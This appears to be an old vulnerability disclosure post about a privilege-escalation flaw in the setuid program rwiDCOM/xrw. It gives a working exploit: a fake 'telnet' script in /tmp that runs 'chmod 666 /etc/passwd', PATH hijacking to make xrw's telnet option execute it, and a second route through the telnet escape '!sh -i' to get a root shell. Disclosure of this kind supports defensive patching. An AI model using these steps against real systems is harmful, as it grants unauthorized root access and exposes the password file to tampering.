PROBLEM

    An older problem with rwiDCOM -- do something like:

        cat >/tmp/telnet << EOF
        chmod 666 /etc/passwd
        EOF
        chmod 777 /tmp/telnet
        PATH=/tmp:$PATH
        export PATH

    and then run  xrw from a  shell, go General->Datacomm  Screen, and
    select telnet to  localhost.  It'll  follow the new  PATH straight
    into /tmp/telnet.

    I don't  know if  the bug  is in  rwiDCOM or  what, but  SOMETHING
    definitely has a bug...   start up the xrw  window, go to  General
    menu,  into  DataComm,  then  choose  telnet  to some valid host..
    telnet will start up in the window, and then use ^] to get to  the
    telnet prompt and use !sh -i and you're euid root..
